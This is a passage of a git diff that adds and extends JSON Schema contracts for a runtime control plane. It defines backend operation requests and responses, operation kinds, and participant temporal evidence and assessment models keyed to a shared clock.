"#/$defs/OperationArtifactReferenceModel" + }, + "required_guarantees": { + "default": [], + "items": { + "enum": [ + "cancellation", + "effect-observation", + "cessation-evidence", + "partial-effects", + "external-fencing" + ], + "type": "string" + }, + "maxItems": 5, + "title": "Required Guarantees", + "type": "array" + }, + "requirement_refs": { + "default": [], + "items": { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + "maxItems": 64, + "title": "Requirement Refs", + "type": "array" + }, + "schema_version": { + "const": "backend-operation-request/v1", + "default": "backend-operation-request/v1", + "title": "Schema Version", + "type": "string" + } + }, + "required": [ + "binding", + "command", + "budget" + ], + "title": "BackendOperationRequestModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Validate unique collections, calendar instants, budget bounds, scope and honest effect/outcome claims; structural validity does not prove backend truth or runtime authority.", + "id": "backend-operation-local-consistency", + "inputs": [ + { + "contract_id": "backend-operation-request-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.BackendOperationRequestModel.model_validate" + } + ], + "x-raes-semantic-profile": { + "contract_id": "backend-operation-request-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/control-plane/backend-operation-response-v1.json b/contracts/schemas/control-plane/backend-operation-response-v1.json new file mode 100644 index 000000000..ece816978 --- /dev/null +++ b/contracts/schemas/control-plane/backend-operation-response-v1.json @@ -0,0 +1,686 @@ +{ + "$defs": { + "BackendOperationAcknowledgementModel": { + "additionalProperties": false, + "properties": { + "disposition": { + "enum": [ + "accepted", + "refused" + ], + "title": "Disposition", + "type": "string" + }, + "kind": { + "const": "acknowledgement", + "default": "acknowledgement", + "title": "Kind", + "type": "string" + }, + "reason": { + "anyOf": [ + { + "enum": [ + "unsupported-contract", + "unsupported-kind", + "unsupported-guarantee", + "context-refused", + "budget-exhausted", + "stale-binding", + "conflicting-effects", + "unavailable" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Reason" + } + }, + "required": [ + "disposition" + ], + "title": "BackendOperationAcknowledgementModel", + "type": "object" + }, + "BackendOperationAdmissionModel": { + "additionalProperties": false, + "properties": { + "capability_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Capability Digest", + "type": "string" + }, + "disposition": { + "enum": [ + "willing", + "refused" + ], + "title": "Disposition", + "type": "string" + }, + "kind": { + "const": "admission", + "default": "admission", + "title": "Kind", + "type": "string" + }, + "reason": { + "anyOf": [ + { + "enum": [ + "unsupported-contract", + "unsupported-kind", + "unsupported-guarantee", + "context-refused", + "budget-exhausted", + "stale-binding", + "conflicting-effects", + "unavailable" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Reason" + } + }, + "required": [ + "disposition", + "capability_digest" + ], + "title": "BackendOperationAdmissionModel", + "type": "object" + }, + "BackendOperationBindingModel": { + "additionalProperties": false, + "description": "Original context and invocation identity, including state-publication fences.", + "properties": { + "attempt_id": { + "maxLength": 256, + "minLength": 1, + "title": "Attempt Id", + "type": "string" + }, + "backend_id": { + "maxLength": 256, + "minLength": 1, + "title": "Backend Id", + "type": "string" + }, + "baseline_revision": { + "maxLength": 256, + "minLength": 1, + "title": "Baseline Revision", + "type": "string" + }, + "context": { + "$ref": "#/$defs/OperationAdmissionContext" + }, + "deployment_id": { + "maxLength": 256, + "minLength": 1, + "title": "Deployment Id", + "type": "string" + }, + "effect_scope": { + "$ref": "#/$defs/OperationEffectScopeModel" + }, + "execution_generation": { + "maximum": 9007199254740991, + "minimum": 0, + "title": "Execution Generation", + "type": "integer" + }, + "invocation_id": { + "maxLength": 256, + "minLength": 1, + "title": "Invocation Id", + "type": "string" + }, + "operation_id": { + "maxLength": 256, + "minLength": 1, + "title": "Operation Id", + "type": "string" + }, + "owner_generation": { + "maximum": 9007199254740991, + "minimum": 0, + "title": "Owner Generation", + "type": "integer" + }, + "worker_id": { + "maxLength": 256, + "minLength": 1, + "title": "Worker Id", + "type": "string" + } + }, + "required": [ + "operation_id", + "invocation_id", + "attempt_id", + "worker_id", + "deployment_id", + "owner_generation", + "execution_generation", + "backend_id", + "baseline_revision", + "context" + ], + "title": "BackendOperationBindingModel", + "type": "object" + }, + "BackendOperationControlDispositionModel": { + "additionalProperties": false, + "properties": { + "control_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Control Digest", + "type": "string" + }, + "control_id": { + "maxLength": 256, + "minLength": 1, + "title": "Control Id", + "type": "string" + }, + "disposition": { + "enum": [ + "recorded", + "accepted", + "refused", + "unsupported", + "already-terminal" + ], + "title": "Disposition", + "type": "string" + }, + "kind": { + "const": "control", + "default": "control", + "title": "Kind", + "type": "string" + } + }, + "required": [ + "control_id", + "control_digest", + "disposition" + ], + "title": "BackendOperationControlDispositionModel", + "type": "object" + }, + "BackendOperationEffectsModel": { + "additionalProperties": false, + "description": "Effect knowledge and cessation are independent, scoped backend assertions.", + "properties": { + "cessation_established": { + "title": "Cessation Established", + "type": "boolean" + }, + "effect": { + "enum": [ + "absent", + "complete", + "partial", + "unknown" + ], + "title": "Effect", + "type": "string" + }, + "evidence_refs": { + "default": [], + "items": { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + "maxItems": 32, + "title": "Evidence Refs", + "type": "array" + }, + "external_fence": { + "anyOf": [ + { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "residual_scope": { + "default": [], + "items": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "type": "string" + }, + "maxItems": 256, + "title": "Residual Scope", + "type": "array" + }, + "residual_state": { + "anyOf": [ + { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + } + }, + "required": [ + "effect", + "cessation_established" + ], + "title": "BackendOperationEffectsModel", + "type": "object" + }, + "BackendOperationOutcomeModel": { + "additionalProperties": false, + "description": "Proposed outcome requiring RAE's native validation and atomic publication.", + "properties": { + "cancellation_established": { + "title": "Cancellation Established", + "type": "boolean" + }, + "effects": { + "$ref": "#/$defs/BackendOperationEffectsModel" + }, + "kind": { + "const": "outcome", + "default": "outcome", + "title": "Kind", + "type": "string" + }, + "proposed_state": { + "enum": [ + "succeeded", + "failed", + "cancelled", + "indeterminate" + ], + "title": "Proposed State", + "type": "string" + }, + "release_gates_satisfied": { + "title": "Release Gates Satisfied", + "type": "boolean" + }, + "result": { + "anyOf": [ + { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "satisfaction": { + "enum": [ + "satisfied", + "unsatisfied", + "unknown" + ], + "title": "Satisfaction", + "type": "string" + } + }, + "required": [ + "proposed_state", + "effects", + "satisfaction", + "release_gates_satisfied", + "cancellation_established" + ], + "title": "BackendOperationOutcomeModel", + "type": "object" + }, + "BackendOperationProgressModel": { + "additionalProperties": false, + "properties": { + "evidence_refs": { + "default": [], + "items": { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + "maxItems": 32, + "title": "Evidence Refs", + "type": "array" + }, + "kind": { + "const": "progress", + "default": "progress", + "title": "Kind", + "type": "string" + }, + "phase": { + "enum": [ + "queued", + "executing", + "settling" + ], + "title": "Phase", + "type": "string" + } + }, + "required": [ + "phase" + ], + "title": "BackendOperationProgressModel", + "type": "object" + }, + "BackendOperationReconciliationModel": { + "additionalProperties": false, + "description": "Observation for separately authorized resolution, with no replay instruction.", + "properties": { + "control_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Control Digest", + "type": "string" + }, + "control_id": { + "maxLength": 256, + "minLength": 1, + "title": "Control Id", + "type": "string" + }, + "effects": { + "$ref": "#/$defs/BackendOperationEffectsModel" + }, + "kind": { + "const": "reconciliation", + "default": "reconciliation", + "title": "Kind", + "type": "string" + } + }, + "required": [ + "control_id", + "control_digest", + "effects" + ], + "title": "BackendOperationReconciliationModel", + "type": "object" + }, + "OperationAdmissionContext": { + "additionalProperties": false, + "description": "Immutable, value-free authority and request context fixed at admission.", + "properties": { + "actor_id": { + "maxLength": 256, + "minLength": 1, + "title": "Actor Id", + "type": "string" + }, + "authorization_scope": { + "items": { + "maxLength": 256, + "minLength": 1, + "type": "string" + }, + "maxItems": 64, + "minItems": 1, + "title": "Authorization Scope", + "type": "array" + }, + "operation_kind": { + "$ref": "#/$defs/OperationKind" + }, + "parent_operation_id": { + "anyOf": [ + { + "maxLength": 256, + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Parent Operation Id" + }, + "request_commitment": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Request Commitment", + "type": "string" + }, + "run_scope": { + "maxLength": 256, + "minLength": 1, + "title": "Run Scope", + "type": "string" + }, + "target_scope": { + "maxLength": 256, + "minLength": 1, + "title": "Target Scope", + "type": "string" + } + }, + "required": [ + "actor_id", + "authorization_scope", + "target_scope", + "run_scope", + "operation_kind", + "request_commitment" + ], + "title": "OperationAdmissionContext", + "type": "object" + }, + "OperationArtifactReferenceModel": { + "additionalProperties": false, + "description": "Content-bound reference resolved through the owning admitted artifact authority.", + "properties": { + "artifact_id": { + "maxLength": 256, + "minLength": 1, + "title": "Artifact Id", + "type": "string" + }, + "contract_id": { + "maxLength": 128, + "pattern": "^[a-z0-9]+(?:-[a-z0-9]+)*-v[0-9]+$", + "title": "Contract Id", + "type": "string" + }, + "digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Digest", + "type": "string" + } + }, + "required": [ + "contract_id", + "artifact_id", + "digest" + ], + "title": "OperationArtifactReferenceModel", + "type": "object" + }, + "OperationEffectScopeModel": { + "additionalProperties": false, + "description": "Target/run exclusion is the default; narrowing needs admitted independence.", + "properties": { + "addresses": { + "default": [], + "items": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "type": "string" + }, + "maxItems": 256, + "title": "Addresses", + "type": "array" + }, + "independence": { + "anyOf": [ + { + "$ref": "#/$defs/OperationArtifactReferenceModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "kind": { + "default": "target-run", + "enum": [ + "target-run", + "resources" + ], + "title": "Kind", + "type": "string" + } + }, + "title": "OperationEffectScopeModel", + "type": "object" + }, + "OperationKind": { + "description": "Closed kinds of work admitted by the runtime control plane.", + "enum": [ + "provisioning", + "orchestration", + "evaluation", + "workflow-cancellation", + "workflow-timeout-reconciliation", + "participant-action", + "participant-control", + "participant-crossing", + "composition-phase", + "indeterminate-resolution" + ], + "title": "OperationKind", + "type": "string" + } + }, + "$id": "https://openrae.github.io/rae/schemas/backend-operation-response-v1.json", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "additionalProperties": false, + "properties": { + "binding": { + "$ref": "#/$defs/BackendOperationBindingModel" + }, + "message": { + "discriminator": { + "mapping": { + "acknowledgement": "#/$defs/BackendOperationAcknowledgementModel", + "admission": "#/$defs/BackendOperationAdmissionModel", + "control": "#/$defs/BackendOperationControlDispositionModel", + "outcome": "#/$defs/BackendOperationOutcomeModel", + "progress": "#/$defs/BackendOperationProgressModel", + "reconciliation": "#/$defs/BackendOperationReconciliationModel" + }, + "propertyName": "kind" + }, + "oneOf": [ + { + "$ref": "#/$defs/BackendOperationAdmissionModel" + }, + { + "$ref": "#/$defs/BackendOperationAcknowledgementModel" + }, + { + "$ref": "#/$defs/BackendOperationProgressModel" + }, + { + "$ref": "#/$defs/BackendOperationControlDispositionModel" + }, + { + "$ref": "#/$defs/BackendOperationOutcomeModel" + }, + { + "$ref": "#/$defs/BackendOperationReconciliationModel" + } + ], + "title": "Message" + }, + "request_digest": { + "pattern": "^sha256:[a-f0-9]{64}$", + "title": "Request Digest", + "type": "string" + }, + "schema_version": { + "const": "backend-operation-response/v1", + "default": "backend-operation-response/v1", + "title": "Schema Version", + "type": "string" + }, + "sequence": { + "maximum": 9007199254740991, + "minimum": 1, + "title": "Sequence", + "type": "integer" + } + }, + "required": [ + "binding", + "request_digest", + "sequence", + "message" + ], + "title": "BackendOperationResponseModel", + "type": "object", + "x-raes-invariants": [ + { + "description": "Validate unique collections, calendar instants, budget bounds, scope and honest effect/outcome claims; structural validity does not prove backend truth or runtime authority.", + "id": "backend-operation-local-consistency", + "inputs": [ + { + "contract_id": "backend-operation-response-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.BackendOperationResponseModel.model_validate" + }, + { + "description": "Require exact request binding and commitment, scoped residuals and independently bound controls when present.", + "id": "backend-operation-response-binding", + "inputs": [ + { + "contract_id": "backend-operation-request-v1", + "instance_path": "#" + }, + { + "contract_id": "backend-operation-response-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.validate_backend_operation_response" + } + ], + "x-raes-semantic-profile": { + "contract_id": "backend-operation-response-v1", + "entry_schema_contract_id": "raes-semantic-invariants-v1", + "entry_schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "id": "raes-semantic-invariants-v1", + "keyword": "x-raes-invariants", + "required": true, + "uri": "https://openrae.github.io/rae/schemas/semantic-invariants/v1" + } +} diff --git a/contracts/schemas/control-plane/operation-receipt-v1.json b/contracts/schemas/control-plane/operation-receipt-v1.json index 067b8a524..67e59ce11 100644 --- a/contracts/schemas/control-plane/operation-receipt-v1.json +++ b/contracts/schemas/control-plane/operation-receipt-v1.json @@ -119,7 +119,9 @@ "workflow-timeout-reconciliation", "participant-action", "participant-control", - "participant-crossing" + "participant-crossing", + "composition-phase", + "indeterminate-resolution" ], "title": "OperationKind", "type": "string" diff --git a/contracts/schemas/control-plane/operation-status-v1.json b/contracts/schemas/control-plane/operation-status-v1.json index 52563c53d..2ed00dd6a 100644 --- a/contracts/schemas/control-plane/operation-status-v1.json +++ b/contracts/schemas/control-plane/operation-status-v1.json @@ -119,7 +119,9 @@ "workflow-timeout-reconciliation", "participant-action", "participant-control", - "participant-crossing" + "participant-crossing", + "composition-phase", + "indeterminate-resolution" ], "title": "OperationKind", "type": "string" diff --git a/contracts/schemas/control-plane/participant-behavior-history-event-stream-v1.json b/contracts/schemas/control-plane/participant-behavior-history-event-stream-v1.json index a2ffb693c..a85d788fe 100644 --- a/contracts/schemas/control-plane/participant-behavior-history-event-stream-v1.json +++ b/contracts/schemas/control-plane/participant-behavior-history-event-stream-v1.json @@ -302,6 +302,14 @@ ], "title": "Status", "type": "string" + }, + "temporal_evidence": { + "items": { + "$ref": "#/$defs/ParticipantTemporalEvidenceModel" + }, + "maxItems": 256, + "title": "Temporal Evidence", + "type": "array" } }, "required": [ @@ -1200,6 +1208,262 @@ } ] }, + "ParticipantTemporalAssessmentModel": { + "additionalProperties": false, + "description": "Portable guarantee result, independent of the native action outcome.", + "properties": { + "context": { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" + }, + "evaluation_sequence": { + "minimum": 0, + "title": "Evaluation Sequence", + "type": "integer" + }, + "evidence": { + "default": [], + "items": { + "$ref": "#/$defs/ParticipantTemporalEvidenceModel" + }, + "title": "Evidence", + "type": "array" + }, + "native_execution": { + "enum": [ + "not_dispatched", + "reported" + ], + "title": "Native Execution", + "type": "string" + }, + "reason": { + "minLength": 1, + "title": "Reason", + "type": "string" + }, + "status": { + "enum": [ + "met", + "missed", + "indeterminate" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "context", + "status", + "native_execution", + "evaluation_sequence", + "reason" + ], + "title": "ParticipantTemporalAssessmentModel", + "type": "object" + }, + "ParticipantTemporalBindingModel": { + "additionalProperties": false, + "description": "One action-local guarantee and its resolved shared-clock constraint.", + "properties": { + "action_contract_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Action Contract Address", + "type": "string" + }, + "backend_disclosure_refs": { + "default": [], + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Backend Disclosure Refs", + "type": "array" + }, + "clock_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Clock Address", + "type": "string" + }, + "clock_authority": { + "minLength": 1, + "title": "Clock Authority", + "type": "string" + }, + "condition_precondition_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Condition Precondition Id" + }, + "constraint_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Constraint Address", + "type": "string" + }, + "contract_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Contract Digest", + "type": "string" + }, + "end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "event_point": { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "title": "Event Point", + "type": "string" + }, + "event_points": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Event Points", + "type": "array" + }, + "evidence_mode": { + "enum": [ + "event", + "continuous" + ], + "title": "Evidence Mode", + "type": "string" + }, + "observation_boundary_address": { + "anyOf": [ + { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Observation Boundary Address" + }, + "profile": { + "const": "participant-shared-time/v1", + "default": "participant-shared-time/v1", + "title": "Profile", + "type": "string" + }, + "replay_boundary": { + "minLength": 1, + "title": "Replay Boundary", + "type": "string" + }, + "reset_boundary": { + "minLength": 1, + "title": "Reset Boundary", + "type": "string" + }, + "start": { + "anyOf": [ + { + "$ref": "#/$defs/TimeCoordinateModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "temporal_id": { + "minLength": 1, + "title": "Temporal Id", + "type": "string" + }, + "temporal_kind": { + "enum": [ + "deadline", + "dwell" + ], + "title": "Temporal Kind", + "type": "string" + }, + "time_domain": { + "minLength": 1, + "title": "Time Domain", + "type": "string" + } + }, + "required": [ + "action_contract_address", + "temporal_id", + "temporal_kind", + "clock_address", + "constraint_address", + "event_point", + "evidence_mode", + "end", + "contract_digest", + "time_domain", + "clock_authority", + "event_points", + "reset_boundary", + "replay_boundary" + ], + "title": "ParticipantTemporalBindingModel", + "type": "object" + }, + "ParticipantTemporalCoverageModel": { + "additionalProperties": false, + "description": "An attested condition over a half-open interval, not two samples.", + "properties": { + "condition_holds": { + "title": "Condition Holds", + "type": "boolean" + }, + "end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "start": { + "$ref": "#/$defs/TimeCoordinateModel" + } + }, + "required": [ + "start", + "end", + "condition_holds" + ], + "title": "ParticipantTemporalCoverageModel", + "type": "object" + }, "ParticipantTemporalEventPoint": { "description": "Named participant event points used by temporal contracts.", "enum": [ @@ -1217,6 +1481,182 @@ "title": "ParticipantTemporalEventPoint", "type": "string" }, + "ParticipantTemporalEvidenceModel": { + "additionalProperties": false, + "description": "A backend's observation of the selected event on the bound shared clock.", + "properties": { + "condition_precondition_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Condition Precondition Id" + }, + "context": { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" + }, + "coordinate": { + "anyOf": [ + { + "$ref": "#/$defs/TimeCoordinateModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "coverage": { + "default": [], + "items": { + "$ref": "#/$defs/ParticipantTemporalCoverageModel" + }, + "maxItems": 4096, + "title": "Coverage", + "type": "array" + }, + "event_point": { + "anyOf": [ + { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Event Point" + }, + "evidence_mode": { + "default": "event", + "enum": [ + "event", + "continuous", + "sampled" + ], + "title": "Evidence Mode", + "type": "string" + }, + "evidence_refs": { + "items": { + "minLength": 1, + "type": "string" + }, + "maxItems": 256, + "minItems": 1, + "title": "Evidence Refs", + "type": "array" + }, + "observation_boundary_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Observation Boundary Address", + "type": "string" + } + }, + "required": [ + "context", + "observation_boundary_address", + "evidence_refs" + ], + "title": "ParticipantTemporalEvidenceModel", + "type": "object" + }, + "ParticipantTemporalExecutionContextModel": { + "additionalProperties": false, + "description": "Runtime-owned identity of one bound guarantee evaluation.", + "properties": { + "action_instance_id": { + "minLength": 1, + "title": "Action Instance Id", + "type": "string" + }, + "binding": { + "$ref": "#/$defs/ParticipantTemporalBindingModel" + }, + "bound_end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "bound_start": { + "anyOf": [ + { + "$ref": "#/$defs/TimeCoordinateModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "clock_sequence": { + "minimum": 0, + "title": "Clock Sequence", + "type": "integer" + }, + "episode_id": { + "minLength": 1, + "title": "Episode Id", + "type": "string" + }, + "execution_generation": { + "minimum": 0, + "title": "Execution Generation", + "type": "integer" + }, + "execution_scope_ref": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Execution Scope Ref", + "type": "string" + }, + "participant_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Participant Address", + "type": "string" + }, + "submitted_at": { + "$ref": "#/$defs/TimeCoordinateModel" + } + }, + "required": [ + "binding", + "participant_address", + "episode_id", + "action_instance_id", + "execution_scope_ref", + "execution_generation", + "submitted_at", + "clock_sequence", + "bound_end" + ], + "title": "ParticipantTemporalExecutionContextModel", + "type": "object" + }, "ParticipantTemporalRuntimeContextModel": { "additionalProperties": false, "properties": { @@ -1272,6 +1712,17 @@ "default": null, "title": "Reset Boundary" }, + "shared_time": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" + }, + { + "type": "null" + } + ], + "default": null + }, "temporal_contract_id": { "minLength": 1, "title": "Temporal Contract Id", @@ -1302,6 +1753,33 @@ ], "title": "ParticipantTimeDomain", "type": "string" + }, + "TimeCoordinateModel": { + "additionalProperties": false, + "description": "Exact superdense coordinate within one discontinuity segment.", + "properties": { + "microstep": { + "default": 0, + "minimum": 0, + "title": "Microstep", + "type": "integer" + }, + "segment": { + "default": 0, + "minimum": 0, + "title": "Segment", + "type": "integer" + }, + "tick": { + "title": "Tick", + "type": "integer" + } + }, + "required": [ + "tick" + ], + "title": "TimeCoordinateModel", + "type": "object" } }, "$id": "https://openrae.github.io/rae/schemas/participant-behavior-history-event-stream-v1.json", @@ -1557,6 +2035,13 @@ "default": null, "title": "State Transition Kind" }, + "temporal_assessments": { + "items": { + "$ref": "#/$defs/ParticipantTemporalAssessmentModel" + }, + "title": "Temporal Assessments", + "type": "array" + }, "temporal_contexts": { "items": { "$ref": "#/$defs/ParticipantTemporalRuntimeContextModel" @@ -1582,6 +2067,20 @@ }, "title": "ParticipantBehaviorHistoryEventStream", "type": "array", + "x-raes-invariants": [ + { + "description": "Deadline bindings require event evidence; dwell requires continuous coverage of a nonempty interval, a condition and an observation boundary. Bounds are segment-relative and the selected event is declared.", + "id": "participant-shared-time-binding-shape", + "inputs": [ + { + "contract_id": "participant-behavior-history-event-stream-v1", + "instance_path": "#" + } + ], + "level": "error", + "validator": "raes_contracts.contracts.participant_temporal.ParticipantTemporalBindingModel" + } + ], "x-raes-semantic-profile": { "contract_id": "participant-behavior-history-event-stream-v1", "entry_schema_contract_id": "raes-semantic-invariants-v1", diff --git a/contracts/schemas/control-plane/participant-history-view-v1.json b/contracts/schemas/control-plane/participant-history-view-v1.json index 302348882..781fb9fd0 100644 --- a/contracts/schemas/control-plane/participant-history-view-v1.json +++ b/contracts/schemas/control-plane/participant-history-view-v1.json @@ -302,6 +302,14 @@ ], "title": "Status", "type": "string" + }, + "temporal_evidence": { + "items": { + "$ref": "#/$defs/ParticipantTemporalEvidenceModel" + }, + "maxItems": 256, + "title": "Temporal Evidence", + "type": "array" } }, "required": [ @@ -968,6 +976,13 @@ "default": null, "title": "State Transition Kind" }, + "temporal_assessments": { + "items": { + "$ref": "#/$defs/ParticipantTemporalAssessmentModel" + }, + "title": "Temporal Assessments", + "type": "array" + }, "temporal_contexts": { "items": { "$ref": "#/$defs/ParticipantTemporalRuntimeContextModel" @@ -1517,6 +1532,262 @@ } ] }, + "ParticipantTemporalAssessmentModel": { + "additionalProperties": false, + "description": "Portable guarantee result, independent of the native action outcome.", + "properties": { + "context": { + "$ref": "#/$defs/ParticipantTemporalExecutionContextModel" + }, + "evaluation_sequence": { + "minimum": 0, + "title": "Evaluation Sequence", + "type": "integer" + }, + "evidence": { + "default": [], + "items": { + "$ref": "#/$defs/ParticipantTemporalEvidenceModel" + }, + "title": "Evidence", + "type": "array" + }, + "native_execution": { + "enum": [ + "not_dispatched", + "reported" + ], + "title": "Native Execution", + "type": "string" + }, + "reason": { + "minLength": 1, + "title": "Reason", + "type": "string" + }, + "status": { + "enum": [ + "met", + "missed", + "indeterminate" + ], + "title": "Status", + "type": "string" + } + }, + "required": [ + "context", + "status", + "native_execution", + "evaluation_sequence", + "reason" + ], + "title": "ParticipantTemporalAssessmentModel", + "type": "object" + }, + "ParticipantTemporalBindingModel": { + "additionalProperties": false, + "description": "One action-local guarantee and its resolved shared-clock constraint.", + "properties": { + "action_contract_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Action Contract Address", + "type": "string" + }, + "backend_disclosure_refs": { + "default": [], + "items": { + "minLength": 1, + "type": "string" + }, + "title": "Backend Disclosure Refs", + "type": "array" + }, + "clock_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Clock Address", + "type": "string" + }, + "clock_authority": { + "minLength": 1, + "title": "Clock Authority", + "type": "string" + }, + "condition_precondition_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Condition Precondition Id" + }, + "constraint_address": { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "title": "Constraint Address", + "type": "string" + }, + "contract_digest": { + "minLength": 1, + "pattern": "^(?:sha256:[A-Fa-f0-9]{64}|sha384:[A-Fa-f0-9]{96}|sha512:[A-Fa-f0-9]{128}|blake3:[A-Fa-f0-9]{64})$", + "title": "Contract Digest", + "type": "string" + }, + "end": { + "$ref": "#/$defs/TimeCoordinateModel" + }, + "event_point": { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "title": "Event Point", + "type": "string" + }, + "event_points": { + "items": { + "minLength": 1, + "type": "string" + }, + "minItems": 1, + "title": "Event Points", + "type": "array" + }, + "evidence_mode": { + "enum": [ + "event", + "continuous" + ], + "title": "Evidence Mode", + "type": "string" + }, + "observation_boundary_address": { + "anyOf": [ + { + "maxLength": 2048, + "minLength": 3, + "not": { + "pattern": "[^a-z0-9_.-]" + }, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)(?:\\.(?:[a-z0-9][a-z0-9_-]{0,63}|__private))+$", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Observation Boundary Address" + }, + "profile": { + "const": "participant-shared-time/v1", + "default": "participant-shared-time/v1", + "title": "Profile", + "type": "string" + }, + "replay_boundary": { + "minLength": 1, + "title": "Replay Boundary", + "type": "string" + }, + "reset_boundary": { + "minLength": 1, + "title": "Reset Boundary", + "type": "string" + }, + "start": { + "anyOf": [ + { + "$ref": "#/$defs/TimeCoordinateModel" + }, + { + "type": "null" + } + ], + "default": null + }, + "temporal_id": { + "minLength": 1, + "title": 